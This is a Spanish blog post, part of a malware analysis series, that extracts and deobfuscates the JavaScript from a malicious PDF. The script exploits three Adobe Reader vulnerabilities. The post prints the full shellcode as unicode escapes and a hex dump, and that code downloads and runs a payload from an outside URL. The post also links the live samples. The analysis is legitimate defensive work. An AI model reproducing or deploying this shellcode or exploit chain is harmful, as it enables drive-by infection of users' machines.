lunes, 10 de mayo de 2010

Otro análisis más (y van 4) - Parte III

En la entrada anterior conseguimos extraer varios ficheros PDF desde el espacio de memoria del proceso AcroRd32. Uno de los documentos estaba cifrado y el otro contenía código javascript configurado para lanzarse de forma automática al abrir el fichero; y todo esto lo descubrimos gracias a Didier Stevens y su herramienta pdfid.

Para que resulte más fácil seguir el relato, al final del mismo he adjuntado un fichero zip con password 'infected' que contiene todos y cada uno de los ficheros analizados. Ya os aviso que dichos archivos son peligrosos así que vosotros vereis lo que haceis.

En esta ocasión me voy a centrar en el documento sospechoso dejando a un lado el pdf cifrado, y comenzaré con el análisis utilizando el parser desarrollado, como no, por Didier Stevens. Una vez descargado simplemente lo ejecuto:

# python pdf-parser.py
This program does not work with this version of Python (2.6.4)
Please use Python version 2.6.2

Parece ser que no es compatible con la versión de python de mi sistema. Analizando un poco el código observo que la limitación se establece al inicio:
# head pdf-parser.py
#!/usr/bin/python
 
__description__ = 'pdf-parser, use it to parse a PDF document'
__author__ = 'Didier Stevens'
__version__ = '0.3.7'
__date__ = '2010/01/09'
__minimum_python_version__ = (2, 5, 1)
__maximum_python_version__ = (2, 6, 2)
 
"""

por lo que haciendo las modificaciones oportunas y con un poco de suerte consigo que el programa funcione:
# sed -e 's/\(2, 6, 2\)/2, 6, 4/' pdf-parser.py > pdf-parser.mod.py
# python pdf-parser.mod.py --version
pdf-parser.mod.py 0.3.7

Primero buscaremos la cadena "javascript" para obtener la referencia al objeto indirecto que contiene el código malicioso:
# python pdf-parser.mod.py --search javascript --raw 00600328.pdf
obj 11 0
Type:
Referencing: 1054 0 R
 
<</S/JavaScript/JS 1054 0 R>>
 
 
<<
/S /JavaScript
/JS 1054 0 R
>>
 
 

Ahora que ya conocemos el objeto indirecto que contiene el flujo con el código javascript vamos a obtener más información:
# python pdf-parser.mod.py --object 1054 00600328.pdf
obj 1054 0
Type:
Referencing:
Contains stream
[(1, '\r\n'), (2, '<<'), (2, '/Length'), (1, ' '), (3, '0000'), (2, '/Filter'), (1, ' '),
(2, '['), (2, '/F#6c#61#74e#44e#63#6fde'), (2, '/#41#53#43II#38#35#44#65#63#6fd#65'),
(2, ']'), (2, '>>'), (1, '\r\n')]
 
<<
/Length 0000
/Filter [
/FlateDecode /ASCII85Decode]
>>
 
 

De la salida anterior se deduce que han sido aplicados dos filtros sobre los datos, /FlateDecode y /ASCII85Decode. Más información en el documento de especificación del formato PDF disponible en la web de Adobe.

Afortunadamente el script desarrollado por Didier Stevens es capaz de aplicar estos filtros, así
que para obtener el stream con el código javascript ejecutaremos el siguiente comando, redirigiendo el resultado a un fichero:
# python pdf-parser.mod.py --object 1054 --raw --filter 00600328.pdf > malware.out

Si abrimos el fichero resultante observaremos que las primeras 15 líneas se corresponden a la información referente al objeto más algunas líneas en blanco:
# head -n 15 malware.out
obj 1054 0
Type:
Referencing:
Contains stream
 
<</Length 0000/Filter [/F#6c#61#74e#44e#63#6fde/#41#53#43II#38#35#44#65#63#6fd#65]>>
 
 
<<
/Length 0000
/Filter [
/FlateDecode /ASCII85Decode]
>>
 
 

Justo a continuación encontramos el flujo de código javascript contenido en una variable e indudablemente ofuscado para dificultar su análisis. Como no es que vaya muy sobrado con javascript mejor me quedo con lo imprescindible y utilizo alguna herramienta para que interprete el código por mí, así que ejecuto:
# grep var malware.out > malware.js

y me llevo el fichero malware.js para continuar con el análisis, pero ahora desde Windows.

El código está ofuscado, ¿quién lo desofuscará?

Una vez admitidas mis limitaciones en cuanto al análisis de código javascript ha llegado el momento de buscar alguna aplicación para suplir mis carencias. Por suerte no tardo en encontrar una aplicación idónea para estos menesteres y que pasará a ser, a partir de este momento, una de las imprescindibles en mi caja de herramientas: malzilla.

De forma resumida se trata de una aplicación para analizar el código malicioso ofuscado incluido en muchos sitios web, permitiendo incluso el uso de proxys y la modificación de las cabeceras que forman la petición HTTP para simular diferentes navegadores.

Una vez descargado y descomprimido al ejecutarlo por primera vez obtengo, ¿un mensaje de error?


Parece que el problema, tal como comentan aquí, se debe a una falta de compatibilidad hacia atrás del MS Visual C++ Runtime. Tenemos tres opciones: ignorar el error (parece que el programa funciona sin problemas), desinstalar el MS Visual C++ runtime (imposible en mi caso dado que también quiero conservar el MS Visual C++ 2008 Express Edition) o descargar la ultima versión de desarrollo desde aquí.

Una vez abierto vamos a la pestaña "Decoder", botón derecho sobre el panel superior, "Load from file" y seleccionamos nuestro script, malware.js tal cual lo nombré. Al pulsar el botón "Run script" observo la barra de estado, la cual me avisa de un error "Script can't be compiled", pero ¿por qué? El botón "Debug" tiene la solución:


asi que añadiendo un "}" al final y probando suerte otra vez con "Run script" obtengo un nuevo fichero en el directorio eval_temp de malzilla con el código interpretado; esto ya pinta un poco mejor.


Analizando un poco el final del código parece que lo primero que se comprueba es la versión de Adobe Reader utilizada para abrir el documento y obtenida mediante la propiedad viewerVersion.toString() del objeto app. Resumiendo un poco, las vulnerabilidades explotadas en función de la versión son:
  • Para versiones inferiorers a la 8: Adobe Reader Collab.collectEmailInfo()' function (CVE-2007-5659)
  • Para las diferentes revisiones de la versión 8: Adobe Reader 'util.printf()' JavaScript Function (CVE-2008-2992)
  • Para la version 9: Adobe Acrobat and Reader Collab 'getIcon()' JavaScript Method (CVE-2009-0927)

Y luego, ¿qué?

Encuentra las 3 diferencias

Si observamos el resto del código javascript observaremos que para cada una de las funciones encargadas de explotar las diferentes vulnerabilidades existe una variable muy similar. De hecho, la sección que se repite en todas ellas es:
\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44
\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320
\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5
\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA
\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F
\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2
\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455
\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F
\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265
\u3620\u302E\u6526\u323D\u0000

Si no lo sabes ya te lo digo yo: ésta es la shellcode que se ejecuta como resultado de la explotación de la vulnerabilidad, pero todavía tenemos que parsearla, y para ello un poco de dirty python, otra vez desde Linux.

El siguiente script parsea la shellcode eliminando los caracteres "\u" que preceden cada byte, además de darles la vuelta (cosas del endianness):
# python getshellcode.py
# xxd shellcode.bin
0000000: 33c0 648b 4030 780c 8b40 0c8b 701c ad8b 3.d.@0x..@..p...
0000010: 5808 eb09 8b40 348d 407c 8b58 3c6a 445a X....@4.@|.X<jDZ
0000020: d1e2 2be2 8bec eb4f 5a52 83ea 5689 5504 ..+....OZR..V.U.
0000030: 5657 8b73 3c8b 7433 7803 f356 8b76 2003 VW.s<.t3x..V.v .
0000040: f333 c949 5041 ad33 ff36 0fbe 1403 38f2 .3.IPA.3.6....8.
0000050: 7408 c1cf 0d03 fa40 ebef 583b f875 e55e t......@..X;.u.^
0000060: 8b46 2403 c366 8b0c 488b 561c 03d3 8b04 .F$..f..H.V.....
0000070: 8a03 c35f 5e50 c38d 7d08 5752 b833 ca8a ..._^P..}.WR.3..
0000080: 5be8 a2ff ffff 32c0 8bf7 f2ae 4fb8 652e [.....2.....O.e.
0000090: 6578 ab66 9866 abb0 6c8a e098 5068 6f6e ex.f.f..l...Phon
00000a0: 2e64 6875 726c 6d54 b88e 4e0e ecff 5504 .dhurlmT..N...U.
00000b0: 9350 33c0 5050 568b 5504 83c2 7f83 c231 .P3.PPV.U......1
00000c0: 5250 b836 1a2f 70ff 5504 5b33 ff57 56b8 RP.6./p.U.[3.WV.
00000d0: 98fe 8a0e ff55 0457 b8ef cee0 60ff 5504 .....U.W....`.U.
00000e0: 6874 7470 3a2f 2f73 6561 7263 682d 6e65 http://search-ne
00000f0: 7477 6f72 6b2d 706c 7573 2e63 6f6d 2f6c twork-plus.com/l
0000100: 6f61 642e 7068 703f 613d 6126 7374 3d49 oad.php?a=a&st=I
0000110: 6e74 6572 6e65 7420 4578 706c 6f72 6572 nternet Explorer
0000120: 2036 2e30 2665 3d32 0000 6.0&e=2..

El fichero resultante ya está listo para ser analizado, pero eso será otro día ;)

Ficheros utilizados (ojo, contenido peligroso): ficheros.zip (password infected).